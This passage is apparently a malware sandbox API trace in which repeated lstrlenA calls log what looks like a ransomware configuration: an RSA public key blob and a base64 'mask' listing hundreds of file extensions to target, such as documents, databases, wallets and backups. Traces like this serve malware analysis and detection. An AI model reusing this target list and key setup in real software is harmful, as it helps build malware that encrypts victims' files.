W5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA 